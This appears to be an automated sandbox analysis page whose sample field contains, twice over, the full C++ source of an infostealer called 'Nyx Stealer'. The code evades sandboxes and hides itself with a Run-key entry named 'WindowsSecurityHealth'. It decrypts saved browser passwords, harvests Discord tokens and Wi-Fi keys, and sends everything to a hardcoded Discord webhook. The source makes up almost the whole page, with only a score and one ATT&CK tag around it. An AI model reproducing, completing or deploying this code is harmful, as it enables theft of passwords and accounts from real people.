General

  • Target
    http://// ============================================================ // Nyx Stealer - Full Chrome AES-GCM Decrypt + Discord Webhook // Real email:password output // ============================================================ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shlobj.h> #include <wincrypt.h> #include <wininet.h> #include <bcrypt.h> #include <dpapi.h> #include <string> #include <vector> #include <fstream> #include <sstream> #include <filesystem> #include <thread> #include <chrono> #include <algorithm> #include <iostream> // sqlite3 amalgamation required - download sqlite3.c + sqlite3.h #include "sqlite3.h" #pragma comment(lib, "crypt32.lib") #pragma comment(lib, "wininet.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "bcrypt.lib") namespace fs = std::filesystem; // ======================== YOUR WEBHOOK ======================== const char* WEBHOOK_URL = "https://discord.com/api/webhooks/1532968194136997938/r2SnFavtPJqZHdN_YpJhuXUv6MNTvodvSDbfkW46dIup1wezHCWvJCs9B-CzBaWXeHCF"; const int DELAY_SECONDS = 20; const bool SELF_DELETE = false; // ======================== HELPERS ======================== std::string known_folder(int csidl) { char path[MAX_PATH]{}; if (SUCCEEDED(SHGetFolderPathA(NULL, csidl, NULL, 0, path))) return path; return ""; } void stealth() { FreeConsole(); SetPriorityClass(GetCurrentProcess(), BELOW_NORMAL_PRIORITY_CLASS); } bool is_sandbox() { auto a = std::chrono::steady_clock::now(); Sleep(250); auto b = std::chrono::steady_clock::now(); if (std::chrono::duration_cast<std::chrono::milliseconds>(b - a).count() < 200) return true; MEMORYSTATUSEX ms{ sizeof(ms) }; GlobalMemoryStatusEx(&ms); if (ms.ullTotalPhys < 3ULL * 1024 * 1024 * 1024) return true; SYSTEM_INFO si; GetSystemInfo(&si); if (si.dwNumberOfProcessors < 2) return true; return false; } // ======================== BASE64 ======================== static const std::string b64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::vector<BYTE> base64_decode(const std::string& in) { std::vector<BYTE> out; std::vector<int> T(256, -1); for (int i = 0; i < 64; i++) T[b64_charsi] = i; int val = 0, valb = -8; for (unsigned char c : in) { if (Tc == -1) break; val = (val << 6) + Tc; valb += 6; if (valb >= 0) { out.push_back(BYTE((val >> valb) & 0xFF)); valb -= 8; } } return out; } // ======================== DPAPI ======================== std::vector<BYTE> dpapi_decrypt(const std::vector<BYTE>& data) { DATA_BLOB in{ (DWORD)data.size(), (BYTE*)data.data() }; DATA_BLOB out{}; if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)) { std::vector<BYTE> res(out.pbData, out.pbData + out.cbData); LocalFree(out.pbData); return res; } return {}; } // ======================== AES-GCM (Chrome v10/v11) ======================== std::string aes_gcm_decrypt(const std::vector<BYTE>& key, const std::vector<BYTE>& encrypted) { // format: "v10" / "v11" (3 bytes) + 12-byte nonce + ciphertext + 16-byte tag if (encrypted.size() < 3 + 12 + 16) return ""; size_t offset = 0; if (encrypted0 == 'v' && encrypted1 == '1') offset = 3; const BYTE* nonce = encrypted.data() + offset; size_t nonce_len = 12; const BYTE* cipher = encrypted.data() + offset + 12; size_t cipher_len = encrypted.size() - offset - 12 - 16; const BYTE* tag = encrypted.data() + encrypted.size() - 16; BCRYPT_ALG_HANDLE hAlg = NULL; BCRYPT_KEY_HANDLE hKey = NULL; std::string result; if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) return ""; if (BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0) != 0) { BCryptCloseAlgorithmProvider(hAlg, 0); return ""; } if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0) != 0) { BCryptCloseAlgorithmProvider(hAlg, 0); return ""; } BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; BCRYPT_INIT_AUTH_MODE_INFO(authInfo); authInfo.pbNonce = (PUCHAR)nonce; authInfo.cbNonce = (ULONG)nonce_len; authInfo.pbTag = (PUCHAR)tag; authInfo.cbTag = 16; std::vector<BYTE> plain(cipher_len); ULONG plain_len = 0; NTSTATUS status = BCryptDecrypt(hKey, (PUCHAR)cipher, (ULONG)cipher_len, &authInfo, NULL, 0, plain.data(), (ULONG)plain.size(), &plain_len, 0); if (status == 0) { result.assign((char*)plain.data(), plain_len); } BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return result; } // ======================== GET CHROME MASTER KEY ======================== std::vector<BYTE> get_chrome_master_key(const std::string& local_state_path) { std::ifstream f(local_state_path); if (!f) return {}; std::string json((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>()); auto pos = json.find("\"encrypted_key\":\""); if (pos == std::string::npos) return {}; pos += 16; auto end = json.find('"', pos); if (end == std::string::npos) return {}; std::string b64 = json.substr(pos, end - pos); std::vector<BYTE> raw = base64_decode(b64); // strip DPAPI prefix "DPAPI" if (raw.size() > 5 && raw0 == 'D' && raw1 == 'P' && raw2 == 'A' && raw3 == 'P' && raw4 == 'I') { raw.erase(raw.begin(), raw.begin() + 5); } return dpapi_decrypt(raw); } // ======================== DATA ======================== struct Cred { std::string browser; std::string url; std::string user; std::string pass; }; std::vector<Cred> credentials; std::string system_info; // ======================== COLLECT SYSTEM ======================== void collect_system() { char comp[MAX_COMPUTERNAME_LENGTH + 1]{}; DWORD sz = sizeof(comp); GetComputerNameA(comp, &sz); char user[256]{}; sz = sizeof(user); GetUserNameA(user, &sz); std::stringstream ss; ss << "Computer : " << comp << "\nUser : " << user << "\n"; typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); auto rtl = (RtlGetVersionPtr)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion"); if (rtl) { RTL_OSVERSIONINFOW ro{ sizeof(ro) }; rtl(&ro); ss << "OS : Windows " << ro.dwMajorVersion << "." << ro.dwMinorVersion << " Build " << ro.dwBuildNumber << "\n"; } system_info = ss.str(); } // ======================== FULL CHROMIUM DECRYPT ======================== void steal_chromium(const std::string& user_data_path, const std::string& browser) { std::string local_state = user_data_path + "\\Local State"; std::string login_db = user_data_path + "\\Default\\Login Data"; if (!fs::exists(local_state) || !fs::exists(login_db)) return; std::vector<BYTE> master_key = get_chrome_master_key(local_state); if (master_key.empty()) return; // copy db so we can read it while browser is running char tmp[MAX_PATH]; GetTempPathA(MAX_PATH, tmp); std::string temp_db = std::string(tmp) + "nyx_ld_" + browser + ".db"; CopyFileA(login_db.c_str(), temp_db.c_str(), FALSE); sqlite3* db = nullptr; if (sqlite3_open(temp_db.c_str(), &db) != SQLITE_OK) { DeleteFileA(temp_db.c_str()); return; } const char* query = "SELECT origin_url, username_value, password_value FROM logins"; sqlite3_stmt* stmt = nullptr; if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) == SQLITE_OK) { while (sqlite3_step(stmt) == SQLITE_ROW) { const char* url_c = (const char*)sqlite3_column_text(stmt, 0); const char* user_c = (const char*)sqlite3_column_text(stmt, 1); const void* blob = sqlite3_column_blob(stmt, 2); int blob_len = sqlite3_column_bytes(stmt, 2); if (!blob || blob_len < 1) continue; std::string url = url_c ? url_c : ""; std::string user = user_c ? user_c : ""; std::vector<BYTE> enc((BYTE*)blob, (BYTE*)blob + blob_len); std::string pass; if (enc.size() > 3 && enc0 == 'v' && enc1 == '1') { // modern AES-GCM pass = aes_gcm_decrypt(master_key, enc); } else { // legacy DPAPI auto dec = dpapi_decrypt(enc); pass.assign(dec.begin(), dec.end()); } if (!user.empty() || !pass.empty()) { credentials.push_back({ browser, url, user, pass }); } } sqlite3_finalize(stmt); } sqlite3_close(db); DeleteFileA(temp_db.c_str()); } // ======================== DISCORD TOKENS ======================== void steal_discord() { std::vector<std::string> paths = { known_folder(CSIDL_APPDATA) + "\\discord\\Local Storage\\leveldb", known_folder(CSIDL_APPDATA) + "\\discordcanary\\Local Storage\\leveldb", known_folder(CSIDL_APPDATA) + "\\discordptb\\Local Storage\\leveldb" }; for (auto& dir : paths) { if (!fs::exists(dir)) continue; for (auto& entry : fs::directory_iterator(dir)) { std::string ext = entry.path().extension().string(); if (ext != ".ldb" && ext != ".log") continue; std::ifstream in(entry.path(), std::ios::binary); std::string data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>()); size_t pos = 0; while ((pos = data.find("mfa.", pos)) != std::string::npos) { if (pos + 80 < data.size()) { std::string token = data.substr(pos, 88); token.erase(std::remove_if(token.begin(), token.end(), [](char c){ return c < 32 || c > 126; }), token.end()); if (token.size() > 50) credentials.push_back({ "Discord", "token", "", token }); } pos += 4; } } } } // ======================== WIFI ======================== void steal_wifi() { char tmp[MAX_PATH]; GetTempPathA(MAX_PATH, tmp); system("netsh wlan export profile key=clear folder=%TEMP% >nul 2>&1"); for (auto& entry : fs::directory_iterator(tmp)) { if (entry.path().extension() != ".xml") continue; std::ifstream f(entry.path()); std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>()); auto n1 = content.find("<name>"); auto n2 = content.find("</name>"); auto k1 = content.find("<keyMaterial>"); auto k2 = content.find("</keyMaterial>"); if (n1 != std::string::npos && k1 != std::string::npos) { std::string name = content.substr(n1 + 6, n2 - n1 - 6); std::string key = content.substr(k1 + 13, k2 - k1 - 13); credentials.push_back({ "WiFi", name, "", key }); } fs::remove(entry.path()); } } // ======================== WEBHOOK ======================== std::string escape_json(const std::string& s) { std::string o; for (char c : s) { if (c == '"') o += "\\\""; else if (c == '\\') o += "\\\\"; else if (c == '\n') o += "\\n"; else if (c == '\r') o += "\\r"; else if (c == '\t') o += "\\t"; else o += c; } return o; } bool post_webhook(const std::string& content) { std::string path = std::string(WEBHOOK_URL).substr(std::string(WEBHOOK_URL).find("/api/webhooks/")); HINTERNET hInet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (!hInet) return false; HINTERNET hConn = InternetConnectA(hInet, "discord.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConn) { InternetCloseHandle(hInet); return false; } HINTERNET hReq = HttpOpenRequestA(hConn, "POST", path.c_str(), NULL, NULL, NULL, INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD, 0); if (!hReq) { InternetCloseHandle(hConn); InternetCloseHandle(hInet); return false; } std::string body = "{\"content\":\"" + escape_json(content) + "\"}"; std::string headers = "Content-Type: application/json\r\n"; BOOL ok = HttpSendRequestA(hReq, headers.c_str(), (DWORD)headers.size(), (LPVOID)body.data(), (DWORD)body.size()); InternetCloseHandle(hReq); InternetCloseHandle(hConn); InternetCloseHandle(hInet); return ok; } void send_report() { post_webhook("**New infection**\n```\n" + system_info + "```"); // clean email:password list std::stringstream clean; clean << "**email / user : password**\n```\n"; for (auto& c : credentials) { if (!c.user.empty() && !c.pass.empty()) clean << c.user << " : " << c.pass << "\n"; else if (!c.pass.empty()) clean << c.url << " : " << c.pass << "\n"; } clean << "```"; std::string full = clean.str(); for (size_t i = 0; i < full.size(); i += 1900) { post_webhook(full.substr(i, 1900)); Sleep(600); } // detailed view std::stringstream detail; detail << "**Full details**\n```\n"; for (auto& c : credentials) { detail << "[" << c.browser << "] " << c.url << "\n" << " User: " << c.user << "\n" << " Pass: " << c.pass << "\n\n"; } detail << "```"; std::string d = detail.str(); for (size_t i = 0; i < d.size(); i += 1900) { post_webhook(d.substr(i, 1900)); Sleep(600); } } // ======================== PERSISTENCE ======================== std::string install_deep() { std::string dir = known_folder(CSIDL_LOCAL_APPDATA) + "\\Microsoft\\Windows\\Themes\\CachedFiles\\"; fs::create_directories(dir); std::string dest = dir + "theme-" + std::to_string(GetTickCount64() % 99999) + ".exe"; char self[MAX_PATH]; GetModuleFileNameA(NULL, self, MAX_PATH); CopyFileA(self, dest.c_str(), FALSE); SetFileAttributesA(dest.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); return dest; } void persist(const std::string& path) { HKEY hKey; if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { RegSetValueExA(hKey, "WindowsSecurityHealth", 0, REG_SZ, (BYTE*)path.c_str(), (DWORD)path.size() + 1); RegCloseKey(hKey); } } // ======================== MAIN ======================== int main() { stealth(); if (is_sandbox()) return 0; std::this_thread::sleep_for(std::chrono::seconds(DELAY_SECONDS)); std::string deep = install_deep(); persist(deep); collect_system(); steal_wifi(); steal_discord(); // full decrypt steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\Google\\Chrome\\User Data", "Chrome"); steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\Microsoft\\Edge\\User Data", "Edge"); steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\BraveSoftware\\Brave-Browser\\User Data", "Brave"); steal_chromium(known_folder(CSIDL_APPDATA) + "\\Opera Software\\Opera Stable", "Opera"); send_report(); if (SELF_DELETE) { char self[MAX_PATH]; GetModuleFileNameA(NULL, self, MAX_PATH); std::string cmd = "cmd /c timeout /t 3 >nul & del /f /q \"" + std::string(self) + "\""; system(cmd.c_str()); } return 0; }
  • Sample260801-e9eq9sxgqh
Score
6/10

Malware Config

Targets

    • Target
      http://// ============================================================ // Nyx Stealer - Full Chrome AES-GCM Decrypt + Discord Webhook // Real email:password output // ============================================================ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shlobj.h> #include <wincrypt.h> #include <wininet.h> #include <bcrypt.h> #include <dpapi.h> #include <string> #include <vector> #include <fstream> #include <sstream> #include <filesystem> #include <thread> #include <chrono> #include <algorithm> #include <iostream> // sqlite3 amalgamation required - download sqlite3.c + sqlite3.h #include "sqlite3.h" #pragma comment(lib, "crypt32.lib") #pragma comment(lib, "wininet.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "bcrypt.lib") namespace fs = std::filesystem; // ======================== YOUR WEBHOOK ======================== const char* WEBHOOK_URL = "https://discord.com/api/webhooks/1532968194136997938/r2SnFavtPJqZHdN_YpJhuXUv6MNTvodvSDbfkW46dIup1wezHCWvJCs9B-CzBaWXeHCF"; const int DELAY_SECONDS = 20; const bool SELF_DELETE = false; // ======================== HELPERS ======================== std::string known_folder(int csidl) { char path[MAX_PATH]{}; if (SUCCEEDED(SHGetFolderPathA(NULL, csidl, NULL, 0, path))) return path; return ""; } void stealth() { FreeConsole(); SetPriorityClass(GetCurrentProcess(), BELOW_NORMAL_PRIORITY_CLASS); } bool is_sandbox() { auto a = std::chrono::steady_clock::now(); Sleep(250); auto b = std::chrono::steady_clock::now(); if (std::chrono::duration_cast<std::chrono::milliseconds>(b - a).count() < 200) return true; MEMORYSTATUSEX ms{ sizeof(ms) }; GlobalMemoryStatusEx(&ms); if (ms.ullTotalPhys < 3ULL * 1024 * 1024 * 1024) return true; SYSTEM_INFO si; GetSystemInfo(&si); if (si.dwNumberOfProcessors < 2) return true; return false; } // ======================== BASE64 ======================== static const std::string b64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::vector<BYTE> base64_decode(const std::string& in) { std::vector<BYTE> out; std::vector<int> T(256, -1); for (int i = 0; i < 64; i++) T[b64_charsi] = i; int val = 0, valb = -8; for (unsigned char c : in) { if (Tc == -1) break; val = (val << 6) + Tc; valb += 6; if (valb >= 0) { out.push_back(BYTE((val >> valb) & 0xFF)); valb -= 8; } } return out; } // ======================== DPAPI ======================== std::vector<BYTE> dpapi_decrypt(const std::vector<BYTE>& data) { DATA_BLOB in{ (DWORD)data.size(), (BYTE*)data.data() }; DATA_BLOB out{}; if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)) { std::vector<BYTE> res(out.pbData, out.pbData + out.cbData); LocalFree(out.pbData); return res; } return {}; } // ======================== AES-GCM (Chrome v10/v11) ======================== std::string aes_gcm_decrypt(const std::vector<BYTE>& key, const std::vector<BYTE>& encrypted) { // format: "v10" / "v11" (3 bytes) + 12-byte nonce + ciphertext + 16-byte tag if (encrypted.size() < 3 + 12 + 16) return ""; size_t offset = 0; if (encrypted0 == 'v' && encrypted1 == '1') offset = 3; const BYTE* nonce = encrypted.data() + offset; size_t nonce_len = 12; const BYTE* cipher = encrypted.data() + offset + 12; size_t cipher_len = encrypted.size() - offset - 12 - 16; const BYTE* tag = encrypted.data() + encrypted.size() - 16; BCRYPT_ALG_HANDLE hAlg = NULL; BCRYPT_KEY_HANDLE hKey = NULL; std::string result; if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) return ""; if (BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0) != 0) { BCryptCloseAlgorithmProvider(hAlg, 0); return ""; } if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0) != 0) { BCryptCloseAlgorithmProvider(hAlg, 0); return ""; } BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; BCRYPT_INIT_AUTH_MODE_INFO(authInfo); authInfo.pbNonce = (PUCHAR)nonce; authInfo.cbNonce = (ULONG)nonce_len; authInfo.pbTag = (PUCHAR)tag; authInfo.cbTag = 16; std::vector<BYTE> plain(cipher_len); ULONG plain_len = 0; NTSTATUS status = BCryptDecrypt(hKey, (PUCHAR)cipher, (ULONG)cipher_len, &authInfo, NULL, 0, plain.data(), (ULONG)plain.size(), &plain_len, 0); if (status == 0) { result.assign((char*)plain.data(), plain_len); } BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return result; } // ======================== GET CHROME MASTER KEY ======================== std::vector<BYTE> get_chrome_master_key(const std::string& local_state_path) { std::ifstream f(local_state_path); if (!f) return {}; std::string json((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>()); auto pos = json.find("\"encrypted_key\":\""); if (pos == std::string::npos) return {}; pos += 16; auto end = json.find('"', pos); if (end == std::string::npos) return {}; std::string b64 = json.substr(pos, end - pos); std::vector<BYTE> raw = base64_decode(b64); // strip DPAPI prefix "DPAPI" if (raw.size() > 5 && raw0 == 'D' && raw1 == 'P' && raw2 == 'A' && raw3 == 'P' && raw4 == 'I') { raw.erase(raw.begin(), raw.begin() + 5); } return dpapi_decrypt(raw); } // ======================== DATA ======================== struct Cred { std::string browser; std::string url; std::string user; std::string pass; }; std::vector<Cred> credentials; std::string system_info; // ======================== COLLECT SYSTEM ======================== void collect_system() { char comp[MAX_COMPUTERNAME_LENGTH + 1]{}; DWORD sz = sizeof(comp); GetComputerNameA(comp, &sz); char user[256]{}; sz = sizeof(user); GetUserNameA(user, &sz); std::stringstream ss; ss << "Computer : " << comp << "\nUser : " << user << "\n"; typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); auto rtl = (RtlGetVersionPtr)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion"); if (rtl) { RTL_OSVERSIONINFOW ro{ sizeof(ro) }; rtl(&ro); ss << "OS : Windows " << ro.dwMajorVersion << "." << ro.dwMinorVersion << " Build " << ro.dwBuildNumber << "\n"; } system_info = ss.str(); } // ======================== FULL CHROMIUM DECRYPT ======================== void steal_chromium(const std::string& user_data_path, const std::string& browser) { std::string local_state = user_data_path + "\\Local State"; std::string login_db = user_data_path + "\\Default\\Login Data"; if (!fs::exists(local_state) || !fs::exists(login_db)) return; std::vector<BYTE> master_key = get_chrome_master_key(local_state); if (master_key.empty()) return; // copy db so we can read it while browser is running char tmp[MAX_PATH]; GetTempPathA(MAX_PATH, tmp); std::string temp_db = std::string(tmp) + "nyx_ld_" + browser + ".db"; CopyFileA(login_db.c_str(), temp_db.c_str(), FALSE); sqlite3* db = nullptr; if (sqlite3_open(temp_db.c_str(), &db) != SQLITE_OK) { DeleteFileA(temp_db.c_str()); return; } const char* query = "SELECT origin_url, username_value, password_value FROM logins"; sqlite3_stmt* stmt = nullptr; if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) == SQLITE_OK) { while (sqlite3_step(stmt) == SQLITE_ROW) { const char* url_c = (const char*)sqlite3_column_text(stmt, 0); const char* user_c = (const char*)sqlite3_column_text(stmt, 1); const void* blob = sqlite3_column_blob(stmt, 2); int blob_len = sqlite3_column_bytes(stmt, 2); if (!blob || blob_len < 1) continue; std::string url = url_c ? url_c : ""; std::string user = user_c ? user_c : ""; std::vector<BYTE> enc((BYTE*)blob, (BYTE*)blob + blob_len); std::string pass; if (enc.size() > 3 && enc0 == 'v' && enc1 == '1') { // modern AES-GCM pass = aes_gcm_decrypt(master_key, enc); } else { // legacy DPAPI auto dec = dpapi_decrypt(enc); pass.assign(dec.begin(), dec.end()); } if (!user.empty() || !pass.empty()) { credentials.push_back({ browser, url, user, pass }); } } sqlite3_finalize(stmt); } sqlite3_close(db); DeleteFileA(temp_db.c_str()); } // ======================== DISCORD TOKENS ======================== void steal_discord() { std::vector<std::string> paths = { known_folder(CSIDL_APPDATA) + "\\discord\\Local Storage\\leveldb", known_folder(CSIDL_APPDATA) + "\\discordcanary\\Local Storage\\leveldb", known_folder(CSIDL_APPDATA) + "\\discordptb\\Local Storage\\leveldb" }; for (auto& dir : paths) { if (!fs::exists(dir)) continue; for (auto& entry : fs::directory_iterator(dir)) { std::string ext = entry.path().extension().string(); if (ext != ".ldb" && ext != ".log") continue; std::ifstream in(entry.path(), std::ios::binary); std::string data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>()); size_t pos = 0; while ((pos = data.find("mfa.", pos)) != std::string::npos) { if (pos + 80 < data.size()) { std::string token = data.substr(pos, 88); token.erase(std::remove_if(token.begin(), token.end(), [](char c){ return c < 32 || c > 126; }), token.end()); if (token.size() > 50) credentials.push_back({ "Discord", "token", "", token }); } pos += 4; } } } } // ======================== WIFI ======================== void steal_wifi() { char tmp[MAX_PATH]; GetTempPathA(MAX_PATH, tmp); system("netsh wlan export profile key=clear folder=%TEMP% >nul 2>&1"); for (auto& entry : fs::directory_iterator(tmp)) { if (entry.path().extension() != ".xml") continue; std::ifstream f(entry.path()); std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>()); auto n1 = content.find("<name>"); auto n2 = content.find("</name>"); auto k1 = content.find("<keyMaterial>"); auto k2 = content.find("</keyMaterial>"); if (n1 != std::string::npos && k1 != std::string::npos) { std::string name = content.substr(n1 + 6, n2 - n1 - 6); std::string key = content.substr(k1 + 13, k2 - k1 - 13); credentials.push_back({ "WiFi", name, "", key }); } fs::remove(entry.path()); } } // ======================== WEBHOOK ======================== std::string escape_json(const std::string& s) { std::string o; for (char c : s) { if (c == '"') o += "\\\""; else if (c == '\\') o += "\\\\"; else if (c == '\n') o += "\\n"; else if (c == '\r') o += "\\r"; else if (c == '\t') o += "\\t"; else o += c; } return o; } bool post_webhook(const std::string& content) { std::string path = std::string(WEBHOOK_URL).substr(std::string(WEBHOOK_URL).find("/api/webhooks/")); HINTERNET hInet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (!hInet) return false; HINTERNET hConn = InternetConnectA(hInet, "discord.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConn) { InternetCloseHandle(hInet); return false; } HINTERNET hReq = HttpOpenRequestA(hConn, "POST", path.c_str(), NULL, NULL, NULL, INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD, 0); if (!hReq) { InternetCloseHandle(hConn); InternetCloseHandle(hInet); return false; } std::string body = "{\"content\":\"" + escape_json(content) + "\"}"; std::string headers = "Content-Type: application/json\r\n"; BOOL ok = HttpSendRequestA(hReq, headers.c_str(), (DWORD)headers.size(), (LPVOID)body.data(), (DWORD)body.size()); InternetCloseHandle(hReq); InternetCloseHandle(hConn); InternetCloseHandle(hInet); return ok; } void send_report() { post_webhook("**New infection**\n```\n" + system_info + "```"); // clean email:password list std::stringstream clean; clean << "**email / user : password**\n```\n"; for (auto& c : credentials) { if (!c.user.empty() && !c.pass.empty()) clean << c.user << " : " << c.pass << "\n"; else if (!c.pass.empty()) clean << c.url << " : " << c.pass << "\n"; } clean << "```"; std::string full = clean.str(); for (size_t i = 0; i < full.size(); i += 1900) { post_webhook(full.substr(i, 1900)); Sleep(600); } // detailed view std::stringstream detail; detail << "**Full details**\n```\n"; for (auto& c : credentials) { detail << "[" << c.browser << "] " << c.url << "\n" << " User: " << c.user << "\n" << " Pass: " << c.pass << "\n\n"; } detail << "```"; std::string d = detail.str(); for (size_t i = 0; i < d.size(); i += 1900) { post_webhook(d.substr(i, 1900)); Sleep(600); } } // ======================== PERSISTENCE ======================== std::string install_deep() { std::string dir = known_folder(CSIDL_LOCAL_APPDATA) + "\\Microsoft\\Windows\\Themes\\CachedFiles\\"; fs::create_directories(dir); std::string dest = dir + "theme-" + std::to_string(GetTickCount64() % 99999) + ".exe"; char self[MAX_PATH]; GetModuleFileNameA(NULL, self, MAX_PATH); CopyFileA(self, dest.c_str(), FALSE); SetFileAttributesA(dest.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); return dest; } void persist(const std::string& path) { HKEY hKey; if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { RegSetValueExA(hKey, "WindowsSecurityHealth", 0, REG_SZ, (BYTE*)path.c_str(), (DWORD)path.size() + 1); RegCloseKey(hKey); } } // ======================== MAIN ======================== int main() { stealth(); if (is_sandbox()) return 0; std::this_thread::sleep_for(std::chrono::seconds(DELAY_SECONDS)); std::string deep = install_deep(); persist(deep); collect_system(); steal_wifi(); steal_discord(); // full decrypt steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\Google\\Chrome\\User Data", "Chrome"); steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\Microsoft\\Edge\\User Data", "Edge"); steal_chromium(known_folder(CSIDL_LOCAL_APPDATA) + "\\BraveSoftware\\Brave-Browser\\User Data", "Brave"); steal_chromium(known_folder(CSIDL_APPDATA) + "\\Opera Software\\Opera Stable", "Opera"); send_report(); if (SELF_DELETE) { char self[MAX_PATH]; GetModuleFileNameA(NULL, self, MAX_PATH); std::string cmd = "cmd /c timeout /t 3 >nul & del /f /q \"" + std::string(self) + "\""; system(cmd.c_str()); } return 0; }
    Score
    6/10
    • Network Share Discovery

      Attempt to gather information on host network.

MITRE ATT&CK Enterprise v16

Tasks